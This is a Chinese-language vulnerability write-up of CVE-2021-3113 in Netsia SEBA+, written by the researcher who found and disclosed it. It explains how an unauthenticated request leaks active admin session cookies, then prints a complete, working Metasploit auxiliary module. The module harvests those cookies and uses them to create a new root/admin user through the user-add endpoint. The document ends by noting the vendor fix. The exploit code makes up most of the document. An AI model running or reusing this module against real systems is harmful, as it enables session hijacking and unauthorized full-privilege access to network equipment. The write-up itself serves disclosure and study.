CVE-2021-3113:Netsia-SEBA认证绕过漏洞分析

 

写在前面的话

这个漏洞是我在一次渗透测试过程中发现的,并且已经提交给厂商了,目前厂商也已经修复了该漏洞。

·Exploit-DB:【传送门

·CVE-Mitre:【传送门

·netsia_seba_add_user.rb (Metasploit):【下载

 

漏洞分析

不幸的是,由于我无法访问到产品的源代码,因此我无法跟大家详细描述该漏洞的原始成因。

在应用程序中,对Active Sessions”部分HTTP请求可以由root/admin用户访问,而不需要任何会话(cookie)信息。因此,我们就可以从响应中读取应用程序中活动用户的会话cookie信息内容。

需要注意的是,我们无法在应用程序的其他地方发送类似的请求。换句话说,我们只能在“Active Sessions”这里才能够在没有会话信息的情况下发送这种请求。

通过执行“GET /session/list/allActiveSession”请求,我们可以通过获取响应返回的会话信息来获取授权用户的cookie值。

此时,我们手上是有一个cookie值的,但会话很可能马上就结束了。所以最好的攻击向量就是创建一个新用户。

因此,我们可以在“POST /authentication server/user/add”字段中附带请求所必须的数据来向应用程序添加一个新的root用户。

在上图所执行的攻击中,在获得登录用户的cookie值后,未经授权的攻击者可以通过将此cookie值放置在用户添加请求中来创建具有完整权限的新用户,具体如下图所示:

如上图所示,HTTP响应表明请求的用户已成功添加。稍后,攻击者可以轻松地使用这个具有完整权限的用户登录到应用程序并执行所有其他操作。

 

漏洞利用高级开发(MSF:Auxiliary)

关于Auxiliary模块

Metasploit框架包括数百个执行扫描,模糊(漏洞检查),嗅探等辅助模块。 虽然这些模块不会给你一个外壳,但它们在进行渗透测试时非常有价值。“show auxiliary”可以显示所有的辅助模块:

漏洞利用模块通常是为在系统上执行命令而编写的,而MSFAuxiliary适用于各种常见类型的漏洞,比如说从目标主机获取信息,或利用目标主机中的现有漏洞来创建新的攻击向量。

因此,我们可以利用MSFAuxiliary模块来对这个漏洞进行利用设计。

class MetasploitModule < Msf::Auxiliary

此时不会生成Payload,因为我们没有选择Msf::Exploit::Remote

接下来,我们将分配用户名和密码作为注册选项。这里使用的是Rex::Text.rand_text_alphanumeric()函数来生成密码随机值,该功能可以为漏洞利用提供便利。

    register_options(

      [

        Opt::RPORT(443),

        OptString.new('USERNAME', [true, 'The username for your new account']),

        OptString.new('PASSWORD', [true, 'The password for your new account', Rex::Text.rand_text_alphanumeric(14)])

      ])

接下来,请求“/session/list/allActiveSession”,并根据响应进行检查。如果响应中包含“sessionId”,则表示存在活动会话。如果没有“sessionId”且包含“SUCCESS”,则表示应用程序易受攻击,但没有活动会话。

def check

    begin

    res = send_request_cgi(

          'method'  => 'GET',

          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),

          )

 

    rescue

      return Exploit::CheckCode::Unknown

    end

 

    if res.code == 200 and res.body.include? 'sessionId'  

      return Exploit::CheckCode::Vulnerable

    else

       if res.code == 200 and res.body.include? 'SUCCESS'

         print_status("Target is vulnerable! But active admin session was not found. Try again later.")

         return Exploit::CheckCode::Appears

       end

    end

 

    return Exploit::CheckCode::Safe

  End

如上所述的检查模块就足以完成该过程,我们不需要让Auxiliary去运行不必要的检测,因为如果目标不存在漏洞,则执行其他操作毫无意义。

    unless Exploit::CheckCode::Vulnerable == check

      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')

End

接下来,我们就可以开始编写漏洞利用代码了。

首先,我们需要了解Netsia SEBA+应用程序中有多少活动会话。因为可以有多个用户处于活动状态,其中一些可能不是授权用户,而我们需要使用权限最高的活跃用户来进行攻击。因此,我决定创建一个单独的计数方法。

  def count_user(data, find_string)

    data.scan(/(?=#{find_string})/).count

  End

我们将把HTTP响应指定为数据,并且查找字符串“sessionId”。这样一来,返回的响应中“sessionId”的数量就意味着有同样多的用户处于活动状态,稍后我们还需要提取这些sessionId值。

    res = send_request_cgi(

          'method'  => 'GET',

          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),

          )

    sescount = count_user(res.body,'"name"')

print_good("Currently #{sescount} active sessions have been detected.")

以上部分完成了第一步操作,接下来需要提取sessionId值。

“sessionId””“action”之间的部分是sessionId在响应中的值,我们可以使用scan ()函数来搜索正则表达式([\S\s]*?)来实现我们的目标。

cookies = res.body.scan(/sessionId":"([\S\s]*?)","action/)

在上述过程中,cookies[0]将是第一个用户的sessionId值,而cookies[1]则是第二个用户的sessionId值,此时计数+1

现在,我们将应用一个非常简单的向量来进行开发。

我们将发送一个包含所有活动cookie值的用户创建请求,无论这些cookie中的哪一个被授权,它都将在我们想要的用户数据库中创建新用户。

在这里我选择使用while循环。例如,有7个活动用户,而这个循环将为cookies[int]变量中的值加上+1,并发出各种可能的请求。

    while $i <= sescount  do

       sessloop = cookies[$i]

       sessid = "SESSION=" + sessloop.to_s

       cookie = sessid.split('"]').join('').split('["').join('')

       $i +=1

       json_data=[........]

 

       res = send_request_raw({

                                      'method' => 'POST',

                                        'ctype'  => 'application/json',

                                      'uri' => normalize_uri(target_uri.path, 'authentication-server', 'user', 'add'),

                                 'cookie' => cookie,

                                 'data' => json_data

                                     })

     End

像上面这样的循环对于这个向量就足够了。最后,我们需要检查请求是否成功。

如果创建了所需的用户,它将提供信息并返回新创建的用户信息。

       if res.code == 200 and res.body.include? '"SUCCESS"'  

         print_good("Excellent! User #{datastore["USERNAME"]} was added successfully with root, admin and default privileges.")

         print_good("Username : #{datastore["USERNAME"]}")

         print_good("Password : #{datastore["PASSWORD"]}")

         break

       End

漏洞利用实践

Auxiliary模块现在已完成,接下来我们将所有内容整合在一起:

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

 

  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Netsia SEBA+ <= 0.16.1 Authentication Bypass and Add Root User' ,

      'Description'    => %q{

        This module exploits an authentication bypass in Netsia SEBA+, triggered by add new root/admin user.

        HTTP requests made to the "Active Sessions" section which can be accessed by root/admin user,

        can be performed without the need for any session(cookie) information.

        Therefore, the session cookie informations of the active users in the application can be read from the response content.

        A new authorized user can be created with the obtained cookie.

      },

      'References'     =>

        [

          [ 'CVE', '' ],

          [ 'URL', 'https://www.pentest.com.tr/exploits/Netsia-SEBA-0-16-1-Authentication-Bypass-Add-Root-User-Metasploit.html' ],

          [ 'URL', 'https://www.netsia.com' ]

        ],

      'Author'         =>

        [

          'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus

        ],

      'License'        => MSF_LICENSE,

      'DisclosureDate' => "2021-01-06",

      'DefaultOptions' => { 'SSL' => true }

    ))

 

    register_options(

      [

        Opt::RPORT(443),

        OptString.new('USERNAME', [true, 'The username for your new account']),

        OptString.new('PASSWORD', [true, 'The password for your new account', Rex::Text.rand_text_alphanumeric(14)])

      ])

  end

 

  def peer

    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"

  end

 

  def check

    begin

    res = send_request_cgi(

          'method'  => 'GET',

          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),

          )

 

    rescue

      return Exploit::CheckCode::Unknown

    end

 

    if res.code == 200 and res.body.include? 'sessionId'  

      return Exploit::CheckCode::Vulnerable

    else

       if res.code == 200 and res.body.include? 'SUCCESS'

         print_status("Target is vulnerable! But active admin session was not found. Try again later.")

         return Exploit::CheckCode::Appears

       end

    end

 

    return Exploit::CheckCode::Safe

  end

 

  def count_user(data, find_string)

    data.scan(/(?=#{find_string})/).count

  end

 

  def run

    unless Exploit::CheckCode::Vulnerable == check

      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')

    end

 

    res = send_request_cgi(

          'method'  => 'GET',

          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),

          )

    sescount = count_user(res.body,'"name"')

    print_good("Currently #{sescount} active sessions have been detected.")

 

    cookies = res.body.scan(/sessionId":"([\S\s]*?)","action/)

    puts cookies

    $i = 0

 

    while $i <= sescount  do

       sessloop = cookies[$i]

       sessid = "SESSION=" + sessloop.to_s

       cookie = sessid.split('"]').join('').split('["').join('')

       $i +=1

       json_data='{"data": {"password": "' + datastore["PASSWORD"] + '", "roles": [{"locations": [], "name": "admin", "permList": [{"data": ["/alarm-manager/alarm/definition/list", "/alarm-manager/alarm/active/list", "/alarm-manager/alarm/active/get", "/alarm-manager/alarm/log/list", "/alarm-manager/alarm/log/search"], "perm_key": "alarm:view"}, {"data": ["/sepon-core/profile/get/service", "/sepon-core/profile/list/service"], "perm_key": "services:view"}, {"data": ["/sepon-core/node/list/edge-ext"], "perm_key": "edge-ext:view"}, {"data": ["/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "uiconfig:view"}, {"data": ["/pal/switchinfo/list"], "perm_key": "switch:view"}, {"data": ["/asup/bbsl"], "perm_key": "asup:bbsl"}, {"data": ["/sepon-core/node/list", "/sepon-core/node/get"], "perm_key": "location:view"}, {"data": ["/pal/olt/get", "/pal/olt/nniport", "/pal/olt/ponport", "/pal/inventory/olt-list", "/sepon-core/node/list/olt", "/pal/laginfo/get"], "perm_key": "olt:view"}, {"data": ["/bbsl*/olt/reboot"], "perm_key": "olt:reboot"}, {"data": ["/sepon-core/node/delete"], "perm_key": "edge:delete"}, {"data": ["/user/add"], "perm_key": "default"}, {"data": ["/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/provision", "/bbsl*/subscriber/preprovision", "/bbsl*/subscriber/provision-subscriber", "/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/continue-provision-with-service-definition", "/bbsl*/subscriber/delete-service", "/bbsl*/subscriber/delete-services", "/bbsl*/subscriber/provision-service", "/bbsl*/subscriber/update-service-subscription"], "perm_key": "subscriptions:edit"}, {"data": ["/authentication-server/user/add", "/authentication-server/user/update"], "perm_key": "user:edit"}, {"data": ["/home/dashboard", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:edit"}, {"data": ["/sepon-core/node/delete/force"], "perm_key": "edge:forcedelete"}, {"data": ["/sepon-core/profile/delete/service"], "perm_key": "services:delete"}, {"data": ["/bbsl*/onu/provision-onu", "/bbsl*/onu/undo-provision", "/sepon-core/node/update", "/bbsl*/onu/delete-onu", "/bbsl*/onu/provision-onu", "/bbsl*/onu/update-serial", "/bbsl*/onu/onu-power"], "perm_key": "onu:edit"}, {"data": ["/alarm-manager/response-code"], "perm_key": "alarm:response-code"}, {"data": ["/authentication-server/request/list", "/authentication-server/request/search", "/authentication-server/request/count"], "perm_key": "request_history:view"}, {"data": ["/sepon-core/profile/add/service"], "perm_key": "services:edit"}, {"data": ["/authentication-server/user/delete"], "perm_key": "user:delete"}, {"data": ["/pal/speedprofile/delete", "/sepon-core/profile/delete/speed"], "perm_key": "speed_profiles:delete"}, {"data": ["/sepon-core/profile/sync/security", "/sepon-core/profile/add/sync/security", "/sepon-core/profile/delete/sync/security", "/sepon-core/profile/get/sync/security", "/sepon-core/profile/list/sync/security", "/sepon-core/profile/list/sync/security/by-profile-id", "/sepon-core/profile/list/sync/security/by-edge-id"], "perm_key": "security_profiles:sync"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:perf-query"}, {"data": ["/authentication-server/user/list", "/authentication-server/user/get"], "perm_key": "user:view"}, {"data": ["/bbsl*/onu/reboot"], "perm_key": "onu:reboot"}, {"data": ["/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/service-subscription", "/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-onu-serial-uni-no-service-name", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/uni-subscription-info-location"], "perm_key": "subscriptions:view"}, {"data": ["/pal/technologyprofile/get", "/pal/technologyprofile/list", "/sepon-core/profile/get/tech", "/sepon-core/profile/list/tech"], "perm_key": "tech_profiles:view"}, {"data": ["/authentication-server/response-code"], "perm_key": "auth:response-code"}, {"data": ["/sepon-core/node/move"], "perm_key": "location:move"}, {"data": ["/pal/olt-location/add"], "perm_key": "oltlocation:edit"}, {"data": ["/sepon-core/node/delete"], "perm_key": "location:delete"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "dashboard:view"}, {"data": ["/authentication-server/role/list", "/authentication-server/role/get"], "perm_key": "role:view"}, {"data": ["/sepon-core/profile/sync/service", "/sepon-core/profile/add/sync/service", "/sepon-core/profile/delete/sync/service", "/sepon-core/profile/get/sync/service", "/sepon-core/profile/list/sync/service", "/sepon-core/profile/list/sync/service/by-profile-id", "/sepon-core/profile/list/sync/service/by-edge-id"], "perm_key": "services:sync"}, {"data": ["/sepon-core/node/get/root", "/pal/inventory/all", "/pal/inventory/pon-port-list", "/pal/inventory/uni-list", "/pal/inventory/onu-list", "/pal/inventory/olt-list", "/pal/switchinfo/list", "/pal/inventory/olt", "/pal/inventory/olt-list", "/pal/inventory/olt-location-list", "/pal/inventory/onu", "/pal/inventory/onu-list", "/pal/inventory/onu-with-serial-number", "/pal/inventory/pon-port", "/pal/inventory/pon-port-list", "/pal/inventory/uni", "/pal/inventory/uni-list", "/pal/inventory/uni"], "perm_key": "topology:view"}, {"data": ["/bbsl*/subscriber/update-service-subscription-status"], "perm_key": "services:statuschange"}, {"data": ["/sepon-core/profile/sync/speed", "/sepon-core/profile/add/sync/speed", "/sepon-core/profile/delete/sync/speed", "/sepon-core/profile/get/sync/speed", "/sepon-core/profile/list/sync/speed", "/sepon-core/profile/list/sync/speed/by-profile-id", "/sepon-core/profile/list/sync/speed/by-edge-id"], "perm_key": "speed_profiles:sync"}, {"data": ["/bbsl*/property/add", "/bbsl*/property/update", "/bbsl*/property/delete"], "perm_key": "property:edit"}, {"data": ["/sepon-core/node/add/edge", "/sepon-core/node/refresh/edge", "/sepon-core/node/get/edge", "/sepon-core/node/update"], "perm_key": "edge:edit"}, {"data": ["/sepon-core/profile/sync/tech", "/sepon-core/profile/add/sync/tech", "/sepon-core/profile/delete/sync/tech", "/sepon-core/profile/get/sync/tech", "/sepon-core/profile/list/sync/tech", "/sepon-core/profile/list/sync/tech/by-profile-id", "/sepon-core/profile/list/sync/tech/by-edge-id"], "perm_key": "tech_profiles:sync"}, {"data": ["/bbsl*/olt/delete"], "perm_key": "olt:delete"}, {"data": ["/sepon-core/node/list/edge", "/sepon-core/node/get/edge"], "perm_key": "edge:view"}, {"data": ["/sepon-core/node/add/location", "/sepon-core/node/update"], "perm_key": "location:edit"}, {"data": ["/alarm-manager/alarm/resolve"], "perm_key": "alarm:edit"}, {"data": ["/discovery/list"], "perm_key": "discovery:view"}, {"data": ["/pal/property/get"], "perm_key": "property:view"}, {"data": ["/sepon-core/node/move"], "perm_key": "edge:move"}, {"data": ["/asup/pal"], "perm_key": "asup:pal"}, {"data": ["/authentication-server/role/delete"], "perm_key": "role:delete"}, {"data": ["/pal/switchinfo/update"], "perm_key": "topology:edit"}, {"data": ["/pal/olt-location/delete"], "perm_key": "oltlocation:delete"}, {"data": ["/bbsl*/onu/disable", "/bbsl*/onu/enable"], "perm_key": "onu:statuschange"}, {"data": ["/alarm-manager/event/definition/list", "/alarm-manager/event/log/list", "/alarm-manager/event/log/search"], "perm_key": "event:view"}, {"data": ["/pal/technologyprofile/delete", "/sepon-core/profile/delete/tech"], "perm_key": "tech_profiles:delete"}, {"data": ["/pal/speedprofile/add", "/pal/speedprofile/create", "/sepon-core/profile/add/speed"], "perm_key": "speed_profiles:edit"}, {"data": ["/authentication-server/role/add", "/authentication-server/role/update"], "perm_key": "role:edit"}, {"data": ["/edge-*"], "perm_key": "gateway-test:view"}, {"data": ["/bbsl*/olt/add", "/sepon-core/node/update"], "perm_key": "olt:edit"}, {"data": ["/service-admin"], "perm_key": "service-admin:view"}, {"data": ["/asup/seba-central"], "perm_key": "asup:core"}, {"data": ["/alarm-manager/mailNotification/add", "/alarm-manager/mailNotification/update", "/alarm-manager/mailNotification/delete"], "perm_key": "alarm-mail:edit"}, {"data": ["/pal/securityprofile/get", "/pal/securityprofile/list", "/sepon-core/profile/get/security", "/sepon-core/profile/list/security"], "perm_key": "security_profiles:view"}, {"data": ["/alarm-manager/mailNotification/list", "/alarm-manager/mailNotification/active/list", "/alarm-manager/mailNotification/get"], "perm_key": "alarm-mail:view"}, {"data": ["/bbsl*/subscriber/delete", "/bbsl*/subscriber/delete-all-subscriber", "/bbsl*/subscriber/delete-list-of-service"], "perm_key": "subscriptions:delete"}, {"data": ["/bbsl*/olt/disable", "/bbsl*/olt/enable"], "perm_key": "olt:statuschange"}, {"data": ["/authentication-server/permission/list", "/authentication-server/permission/getByUser"], "perm_key": "permission:view"}, {"data": ["/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "uiconfig:edit"}, {"data": ["/response-code"], "perm_key": "gateway:response-code"}, {"data": ["/pal/speedprofile/all", "/pal/speedprofile/get", "/pal/speedprofile/list", "/sepon-core/profile/get/speed", "/sepon-core/profile/list/speed"], "perm_key": "speed_profiles:view"}, {"data": ["/pal/ont/device", "/pal/ont/uniport", "/pal/ont/whitelist", "/pal/inventory/onu-list", "/pal/ont/stats-by-olt-number", "/pal/ont/stats-by-pon-port-number", "/pal/ont/search"], "perm_key": "onu:view"}, {"data": ["/pal/securityprofile/delete", "/sepon-core/profile/delete/security"], "perm_key": "security_profiles:delete"}, {"data": ["/pal/securityprofile/add", "/pal/securityprofile/create", "/sepon-core/profile/add/security"], "perm_key": "security_profiles:edit"}, {"data": ["/temip_integration/get_alarm_list"], "perm_key": "temip:view"}, {"data": ["/authentication-server/session/list"], "perm_key": "session:view"}, {"data": ["/stats-manager/response-code"], "perm_key": "stat:response-code"}, {"data": ["/bbsl*/onu/delete-onu"], "perm_key": "onu:delete"}, {"data": ["/pal/olt-location/get", "/pal/inventory/olt-location-list", "/sepon-core/node/list/oltLocation"], "perm_key": "oltlocation:view"}, {"data": ["/pal/technologyprofile/add", "/sepon-core/profile/add/tech"], "perm_key": "tech_profiles:edit"}]}, {"locations": [], "name": "default", "permList": [{"data": ["/user/add"], "perm_key": "default"}]}, {"locations": [{"id": 1, "name": "root"}], "name": "root", "permList": []}], "status": "ACTIVE", "username": "' + datastore["USERNAME"] + '"}}'

 

       res = send_request_raw({

                                      'method' => 'POST',

                                        'ctype'  => 'application/json',

                                      'uri' => normalize_uri(target_uri.path, 'authentication-server', 'user', 'add'),

                                 'cookie' => cookie,

                                 'data' => json_data

                                     })

 

       if res.code == 200 and res.body.include? '"SUCCESS"'  

         print_good("Excellent! User #{datastore["USERNAME"]} was added successfully with root, admin and default privileges.")

         print_good("Username : #{datastore["USERNAME"]}")

         print_good("Password : #{datastore["PASSWORD"]}")

         break

       end

     end

  end

end

接下来,我们就可以使用Auxiliary模块来进行漏洞利用了:


 

漏洞修复

Netsia现已修复了这个漏洞,如果没有授权的cookie,则无法再发送此请求。即使您是授权的管理员用户,也会看到会话cookies被过滤掉。

(完)